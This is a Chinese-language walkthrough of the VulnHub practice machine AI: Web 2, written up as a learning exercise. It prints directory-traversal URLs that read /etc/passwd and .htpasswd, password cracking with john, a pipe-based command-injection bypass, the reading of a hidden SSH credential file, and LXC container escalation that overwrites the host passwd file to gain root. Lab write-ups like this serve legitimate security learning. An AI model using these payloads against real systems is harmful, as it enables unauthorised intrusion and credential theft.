文章目录
环境准备
靶机环境搭建
攻击渗透机: kali IP地址:192.168.33.128
靶机:DC-7 IP地址未知
靶机下载地址:https://www.vulnhub.com/entry/ai-web-2,357/
渗透过程
1.信息收集
1.1 主机发现
netdiscover -r 192.168.33.0/24
扫描到目标靶机IP地址为:192.168.33.135
也可以使用arp扫描整个网段,确认存活主机
arp-scan -l 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息)
同样扫描到了目标靶机IP地址为:192.168.33.135
1.2 端口扫描
确定了目标IP地址,我们才能做之后的渗透学习,接下来就是确认目标开放了那些端口和服务,使用nmap神器进行扫描把
nmap -T4 -sV -O -A -P 192.168.33.135
-T4(速度) -sV(版本扫描和开启的服务) -O(操作系统) -p(所有端口)
我这样写比较极端,导致扫描时间较长,被发现的可能性也非常大,但因为是靶机,拿来进行学习,那就无所谓了
扫描到目标靶机开放了22端口(ssh服务)和80端口(http服务),以及有关这两个端口的详细信息
这里发现了Credit: XuezhuLi 或许是一个用户?信息还不太多,继续收集
1.3 访问web网页(80端口)
既然目标都开着80端口,就去访问下看有没有什么可用信息
发现网页中并没有什么可用信息
注册了一个用户,登录进去查看
发现了提示:
Google一下"XuezhuLi FileSharing"
发现是对一个漏洞的介绍,利用目录穿越(Directory Traversal)漏洞读取/etc/passwd
2.漏洞利用
1 利用目录穿越(Directory Traversal)漏洞读取/etc/passwd
http://192.168.33.135/download.php?file_name=../../../../../../../../../../../../../etc/passwd
下载这个文件之后打开
获得两个具有/bin/bash权限的用户 aiweb2、n0nr00tuser,除此之外就没有别的可用信息了,这里是可以直接使用hydra进行爆破密码的,但是我并不知道需要花费多少时间,以及需要一个足够强大的字典,所以我就放弃了暴力破解,继续收集信息
貌似还是没有什么用,,,继续读取apache默认配置文件路径
http://192.168.33.135/download.php?file_name=../../../../../../../../../etc/apache2/sites-enabled/000-default.conf
下载这个文件之后打开
得到一个文件路径,网页访问一下
http://192.168.33.135/download.php?file_name=../../../../../../../../../../../../../etc/apache2/.htpasswd
下载这个文件之后打开
账户密码!!!aiweb2admin:
a
p
r
1
apr1
apr1VXqmVvDD$otU1gx4nwCgsAOA7Wi.aU/
2.利用暴力破解获取密码
使用john进行爆破一下,发现爆破不了
后面看了描述提示了字典:
This is the second box from the series AI: Web and you will have more fun to crack this challenge.
The goal is simple. Get flag from /root/flag.txt. Enumerate the box, get low privileged shell and then escalate privilege to
root.You may need to crack password. Use wordlist SecLists/rockyou-45.txt by Mr. Daniel Miessler.
For any hint please tweet on @arif_xpress
提示我们使用rockyou-45.txt这个字典来进行破解
字典下载地址:https://github.com/danielmiessler/SecLists/blob/master/Passwords/Leaked-Databases/rockyou-45.txt
下载好后我们就可以开始进行破解了
john --wordlist=./rockyou-45.txt 1.txt
john --show 1.txt
爆破得到账号密码 用户名:aiweb2admin 密码:c.ronaldo
3.爆破目录
得到了用户名和密码,我首先想到的是ssh登录,尝试ssh登录
ssh aiweb2admin@192.168.33.135
发现错误了,并不是ssh用户,获取是登录界面的账号密码
爆破后台登陆网页
dirb http://192.168.33.142
发现后疑似台登录界面 :webadmin,点击访问
确实是登录界面,输入刚刚获取到的用户名和密码进行登录
成功登录!,并且提示我们 robots目录,访问看看
http://192.168.33.135/webadmin/robots.txt
访问一下 robots.txt,发现里面有两个目录!!
4.利用命令执行漏洞获得ssh账号密码
访问第一个目录,,发现是个ping ip地址的,考虑是否存在命令执行
http://192.18.33.135/webadmin/HOSTpin9555/
再看看另一个目录/S0mextras/,提示我们想要的就这目录里面
http://192.168.33.135/webadmin/S0mextras/
所以我们尝试第一个目录里面的命令执行
但是正常的输入不起作用,怀疑是后端存在过滤,将我们构造的命令过滤掉了
尝试"&" “&&” “|” "||“是否能绕过,最后发现”|"可以绕过
127.0.0.1|ls
然后查看有哪些文件,发现只存在一个index.html文件,怀疑存在隐藏文件
执行127.0.0.1|ls -al /var/www/html/webadmin/S0mextras/
,但是并没什么用
隐藏文件一般都是"."开头的,可以使用find命令:127.0.0.1|find . -type f /var/www/html/webadmin/S0mextras/
找到了许多的隐藏界面,我们分别一一进行访问查看
127.0.0.1|cat /var/www/html/webadmin/S0mextras/.sshUserCred55512.txt
最终在**.sshUserCred55512.txt**文件中发现ssh的登录账号密码
再次尝试ssh
成功连接!
3.提权
可以看到权限极低,使用sudo -l命令查看到n0nr00tuser无权限执行任何sudo,面领提权问题
使用python提升至交互式shell,方便我们观看和后续操作
python -c 'import pty;pty.spawn("/bin/bash")'
命令查看find / -perm -u=s -type f 2>/dev/null
二进制文件
这个账户对 lxc (https://blog.csdn.net/u011630575/article/details/65444404)命令权限比较大,以此为突破口,
尝试创建一个容器,并重新写入一个root用户带有密码的passwd文件上传到创建的容器里,
以此来覆盖主机上的passwd文件,再提权为root
lxc start UbuntuMini
lxc config set UbuntuMini security.privileged true
lxc config set UbuntuMini security.nesting true
lxc config device add UbuntuMini sharetesting disk source=/etc path=/sharingiscaring
Device sharetesting added to UbuntuMini
在主机上新建一个passwd文件,将以下内容复制进去,并赋予root密码killem
root:AzbGfP688Nta.:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aiweb2:x:1000:1000::/home/aiweb2:/bin/bash
n0nr00tuser:x:1001:1001::/home/n0nr00tuser:/bin/bash
在执行命令,将passwd上传到容器里
lxc file push passwd UbuntuMini/sharingiscaring/passwd
上传成功之后就覆盖了原来的passwd文件,接下来只需要使用su命令切换到root,就可以拿到flag
su -root
输入密码
whoami
cat /root/flag.txt
大功告成,拿到了目标靶机的root权限,这个靶机就已经完全被你攻破了
4.总结
1.lxc提权尚未接触,十分不熟悉
2.find命令用法还不是很清楚
最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!喜欢的话,不要忘记点赞哦!!!